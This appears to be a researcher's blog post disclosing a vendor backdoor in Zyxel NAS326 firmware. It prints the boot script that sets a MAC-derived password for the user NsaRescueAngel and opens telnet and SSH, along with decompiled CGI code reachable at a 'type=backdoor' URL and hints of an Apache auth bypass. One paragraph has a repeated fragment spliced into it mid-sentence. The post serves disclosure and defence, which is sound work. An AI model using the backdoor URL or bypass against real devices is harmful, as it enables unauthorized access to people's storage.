Zyxel Backdoor Hell

tl;dr; I got bored the other day and wanted to reverse some firmware. Why not target a device a friend owned? This was the beginning of the Zyxel Backdoor Hell of 2021-2022. If you have a Zyxel Device and have shell access, check for the User NsaRescueAngel and if there is a password set in /etc/shadow

I’ve looked at the Firmware of the Zyxel NAS326 device, which was easily obtainable from Zyxel. Unpacking was straightforward with binwalk, and so I dug around. I stumbled upon a weird script named /usr/local/btn/open_back_door.sh and thought to myself: Ohaaaaaa!?

#!/bin/sh
BACKDOOR_KEY=`/sbin/makekey`
BACKDOOR_PWD=`/sbin/makepwd $BACKDOOR_KEY`

echo $BACKDOOR_PWD | sed -e 's/\//\\\//g' > /tmp/wkdhfwe0f9e9fujfkef
BACKDOOR_PWD=`cat /tmp/wkdhfwe0f9e9fujfkef`

IS_SERVERBOX=`mrd_fbits | grep ^"D9 01"`
IS_STG220=`mrd_fbits | grep ^"DE 01"`
cp /etc/shadow /etc/shadow.bak<!--more-->
cat /etc/shadow.bak  | sed -e 's/^NsaRescueAngel\:[^\:]*\:/NsaRescueAngel:'$BACKDOOR_PWD':/g'> /etc/shadow
rm -f /etc/shadow.bak

#sshd
if [ "${1}" == "sshd" ]; then
	chmod 0700 /etc/ssh/*
	start-stop-daemon -b -S -N 5 -x /sbin/sshd -- -p 22
	exit 0
fi
DaemonRunning=`ps | grep "/sbin/telnetd" | grep -v "grep"`

if [ "${DaemonRunning}" == "" ]; then
	echo "[BackdoorOpen] telnet daemon is NOT running."
	/sbin/telnetd
else
	echo "[BackdoorOpen] telnet daemon is running."
fi

DaemonRunning=`ps | grep "/sbin/monitord" | grep -v "grep"`
if [ "${DaemonRunning}" == "" ]; then
	echo "[BackdoorOpen] backdoor monitor daemon is NOT running."
	/sbin/start-stop-daemon -b -S -N 5 -x /sbin/monitord
else
	echo "[BackdoorOpen] backdoor monitor daemon is running."
fi

That doesn't look good. Next question would be: where is it executed?

# grep -r "open_back_door" *
etc/init.d/rcS2:	/usr/local/btn/open_back_door.sh sshd

ahhh....well....at startup...

Also... I threw the two binaries makekey and makepwd into Binary Ninja to at least know what they do, and it gets even less cool.

makekey uses the MAC address of an interface to generate a static password, while makepwd takes the whole thing and creates an MD5 hash out of it and puts it in a “pretty” form to pack it into the shadow file.

But don't worry...the script no longer exists in the latest versions of the firmware. The one I looked at was already older...from 2019 or so.

But they still have a CGI script that does exactly the same thing with the call http://<ip-of-nas>/zyxel/cgi-bin/remote_help-cgi?type=backdoor, just not with the sh script.

if (run_cmd("makekey", &var_198) != 0)
    fprintf(gcgiOut, "result=%d\n", 1)
    fwrite("</body>\n</html>\n", 1, 0x10, gcgiOut)
*(&var_18 + strlen(&var_198) - 0x180) = 0x74
void* r3_5 = &var_18 + strlen(&var_198)
*(r3_5 - 0x180) = 0x64
*(&var_18 + strlen(&var_198, &var_18, 0x64, r3_5) - 0x180) = 0x54
void* r3_7 = &var_18 + strlen(&var_198)
*(r3_7 - 0x180) = 0
sprintf(&var_118, "makepwd %s", &var_198, r3_7)
if (run_cmd(&var_118, &var_98) != 0)
    fprintf(gcgiOut, "result=%d\n", 2)
    fwrite("</body>\n</html>\n", 1, 0x10, gcgiOut)
FILE* r0_15 = fopen("/etc/shadow", &data_117b4)
if (r0_15 == 0)
    fprintf(gcgiOut, "result=%d\n", 3)
    fwrite("</body>\n</html>\n", 1, 0x10, gcgiOut)
FILE* r0_16 = fopen("/etc/shadow.new", &data_11958)
if (r0_16 == 0)
    fprintf(gcgiOut, "result=%d\n", 4)
    fwrite("</body>\n</html>\n", 1, 0x10, gcgiOut)
while (true)
    if (__getdelim(&var_19c, &var_1a0, 0xa, r0_15) s< 0)
        break
    char* r4_1 = var_19c
    int16_t* r2_1 = &var_98
    if (strncmp(r4_1, "NsaRescueAngel", 0xe) == 0)
        fprintf(r0_16, "NsaRescueAngel:%s:13493:0:99999:…", r2_1)
    else
        fputs(r4_1, r0_16)
fclose(r0_15)
mstate r1_5
mstate r2_2
mstate r3_9
r1_5, r2_2, r3_9 = fclose(r0_16)
free(var_19c, r1_5, r2_2, r3_9)
unlink("/etc/shadow")
rename("/etc/shadow.new", "/etc/shadow")

But heeeey... you have to be logged in for that, right? Well...the CGI script at least doesn't contain a check to see if someone is lkdoor Hell tl;dr; I got bored the other day and wanted to reverse some firmware. Why not target a device a friend owned? This was the beginning of the Zyxel Backdoor Hell of 2021-2022. If you have a Zyxel Device and have shell access, check for the User NsaRescueAngel and if there is a password set iogged in, so it must be running in the web server's config.

There are a few auth modules in Apache. One auth module in particular comes into play: mod_auth_zyxel.so, which apparently solves the entire auth part. However, certain folders are skipped over:

AuthZyxelRedirect /DYNAMIC_STRING/desktop,/login.html
AuthZyxelSkipPattern /favicon.ico /adv,/cgi-bin/weblogin.cgi /desktop,/cgi-bin/weblogin.cgi /desktop,/cgi-bin/file_download.cgi /desktop,/cgi-bin/dlnotify /desktop,/login.html /desktop,/res/ /desktop,/css/ /desktop,/utility/flag.js /MyWeb/ /register_main/setCookie /playzone,/mobile_login.html /playzone,/mobile/sencha/ /playzone,/mobile/images/ /playzone,/images/
AuthZyxelSkipUserPattern /playzone,/ /cmd,/ /DMS,/ /adv,/cgi-bin/ /desktop,/cgi-bin/ /desktop,/

what do you think? Probably a bypass is possible? but not really sure...

BUT: the NsaRescueAngel User was created and probably has a password set, because it ran on startup. This password is dependent on the Mac-Address of the interface.

Therefore: Have a look into your /etc/shadow file, if a password is set and maybe deactivate/delete this user.

References